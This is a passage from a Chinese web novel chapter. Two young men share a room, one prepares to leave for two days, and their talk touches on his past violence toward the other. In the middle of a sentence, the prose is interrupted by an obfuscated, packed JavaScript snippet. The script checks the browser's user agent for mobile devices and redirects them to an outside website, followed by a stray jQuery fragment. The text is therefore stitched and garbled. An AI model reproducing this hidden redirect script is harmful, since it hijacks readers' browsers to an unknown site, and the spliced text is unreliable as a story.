叶秋梨:???
这是否有一些倒反天罡,到底谁是哥哥,谁是弟弟!
叶秋梨踢了拖鞋,把自己的身体团起来,发出一些毛茸茸的警告:“你不要这样吓我,我是不怕你的。”
宫浸月笑了笑,把手伸进叶秋梨团起来的肚皮,摸了摸:“好。你不怕我,因为你是哥哥。对不对。”
叶秋梨很得意:“那当然。”
片刻后,表情又熄灭了一些。
“虽然…我忙了一个月才赚两千块。但是那也是两千。”
宫浸月摸摸叶秋梨的脑袋。眼神游移,落在叶秋梨卷翘的睫毛上。
“那我出门两天,你能照顾好自己吗。”
叶秋梨仰起脸:“你要去哪儿?”
宫浸月并不回答叶秋梨的问题,手心一下一下地抚摸着叶秋梨柔软的后颈:“明天出门之前,我会买云吞皮和饺子皮回来,包好,放进冰箱里,你自己煮一下就能吃。喜欢吃什么馅的云吞和饺子?”
叶秋梨趴在床上,想了想:“饺子…什么都行,猪肉馅的,不要玉米和胡萝卜加进去,也不要放葱。云吞最好吃了,要吃鲜虾的。”
以前每年的夏天,叶家有长辈亲自出海去捞黑虎虾,再包机空运带回国,纯天然的深海黑虎虾又生猛又肥硕。叶家的阿姨也很会调馅料,几十年的老手了,信手拈来,虾肉跟香油的滋味黏抱在一起。挖起一个虾肉球,裹进薄薄的云吞皮,三两下捏紧。
饱满的带着薄皮的云吞新鲜煮开,一口咬下去,叶秋梨轻易能回忆起饱满云吞那种馥郁弹嫩的口感。汤汁由鲍鱼和老母鸡用文火温炖开,熬够了时辰,把味道都煮出来了,汤汁里又渗了从云吞薄皮里渗出来的虾汁虾油,实在够美味。
叶秋梨想起了香香的云吞,被馋得偷偷咽口水。
可是他也知道,虾大概比猪肉要贵:“算了,我也不是很想吃鲜虾云吞,就买普通的猪肉馅儿就好了。”
宫浸月嗯了一声,似乎在想事情。
叶秋梨拿开宫浸月的手,坐起来,圆圆的眼睛盯着宫浸月:“我忽然发现,你对我这个哥哥好了很多。脾气也好了很多呢。”
宫浸月笑了起来:“不喜欢吗?”
“喜欢。”叶秋梨点点头,“以前你打我的时候可凶了,我还有点害怕你呢。”
宫浸月漆黑的瞳仁盯着叶秋梨,微笑着伸手,卡在叶秋梨的脖颈上,手指虚虚地收紧。
“像这样?”宫浸月说。
叶秋梨被掐着脖颈,点点头,哼唧了一声。
其实不疼。宫浸月一点都没用力。指尖薄薄的皮肤下,叶秋梨脖颈侧部的皮肤一下一下地颤动着,能想象到那细微的颤动连接着他那颗小小的心脏,脆弱又可怜。
两个人双目对视片刻。宫浸月垂眼,收回了手,又用掌心揉了揉叶秋梨脖子上温软细腻的皮肤,低声问:“还疼吗。你现在还生气吗。”
说着,又很想解释什么:“对不起,那个时候…。”
“没关系。”叶秋梨微微弯了眼睛,“都过去了,我脑子很笨,记不了很多事,那些不愉快都忘记了。你不要再欺负我就好了,我们从此以后就是相亲相爱的好哥们。”
叶秋梨还拍拍宫浸月的肩膀。
叶秋梨一副笑得无知无觉的样子,就这样轻松原谅了宫浸月对他的不好。
本来是应该感觉到一种轻松的情绪。
可是在某一瞬间,宫浸月敏锐的神经似乎预知到了什么,心底有一股莫名其妙的情绪——很不舒服。
可是为什么呢?
他曾经做错过的事情,就这样轻易地被抹去,淡忘。
对叶秋梨来说,忘却这件事似乎轻而易举。宛如揩掉几抹微不足道的尘埃一样。
这不正是你想要的吗。
难道你还指望叶秋梨一直刻骨铭记地记着你的不好,恨着你?
宫浸月很快把这种情绪抛却了。
笨点好,这样笨笨的话,就不会记仇。
叶秋梨实在好奇得不得了:“你出门去到底干什么呀?还会回来的吧。”
“我会回来。”宫浸月捧着叶秋梨的脸。“你听我说,叶秋梨,我只出门两天,你要照顾好自己,知道了没有?出门记得带钥匙,我还藏了一把放在门口的电箱,你要是忘记了就用电箱的,一天丢一把,够你撑两天了。…要是再丢了,我又没回来,那你就要睡走廊了。”
“洗澡之后衣服要记得拿出来,放在浴室里很潮,拿出来之后放在沙发上,我回来的话会洗。云
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443009|169387||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吞是你的晚饭,早餐我给你订了牛奶和包子,你去上学的路上路过顺便拿就行,不能不吃早餐,也不能跟你的同桌吃路边摊,你上次吃得半夜吐了一宿,脸都吐白了,我要是不在家,不在你身边,没人照顾你,想吃也要等我回来陪着你,知道吗?…还有…”
叶秋梨捂住宫浸月的嘴唇,皱着眉不满地嘟囔。
“知道了知道了,我会照顾好自己的,到底谁是哥哥谁是弟弟啊,我才是哥哥,你不要一副大我很多岁的样子…不就是两天,我能行的。”
宫浸月安静了。片刻后,他闭起了眼,额头往前凑了一些,跟叶秋梨的额头贴贴。
宫浸月低声说话,被叶秋梨传染了,声音也变得有点黏黏糊糊的。
“我给你留个本子,这两天做了什么,有什么开心的事,不开心的事,吃了什么,和谁在一起,记录下来。以后我会看的。明白吗?”
“…还有最后一句,不允许退学。等我回来,就会好起来的。”
“对了,把你存折给我。”宫浸月又说。
叶秋梨毫不起疑,递给了宫浸月。
叶秋梨感到不安:“你到底要干什么去呀,怎么像托付后事一样,呸呸呸!”
宫浸月依旧是不回答,闭着眼,跟叶秋梨贴贴了很久。最后用力揉了一下他的脸,才放开。
叶秋梨就顶着这样烫烫的温热的额头,还有脸颊淡淡的红痕,湿漉漉的眼睛,无辜又迷茫地入睡了。
家里只有一个房间,叶秋梨和宫浸月是睡一张床。
每天晚上,叶秋梨的腰上都搭着宫浸月的胳膊,越到半夜缠得越紧。
那天晚上,叶秋梨还做了个噩梦,梦见有一条大蛇,非要跟他贴贴。
不过那条蛇好像挺温顺的,只想贴贴,不想伤害它。大蛇的嘴巴一直紧紧地闭着,把他的毒牙藏得好好的,看上去甚至像只温驯冰凉的大狗狗。
叶秋梨安心了一些,傻笑着“嘿嘿”一声,因为他正在梦里奴役着那条蛇,凶巴巴地对蛇大王说:“不贴贴,不贴贴,要贴贴你就先给我包一百只云吞,我要吃虾肉馅的,好吃的鲜虾云吞。”
梦里,蛇呜咽了一声,委屈地剁肉馅去了。
“笃、笃、笃。”还把砧板剁得震天响。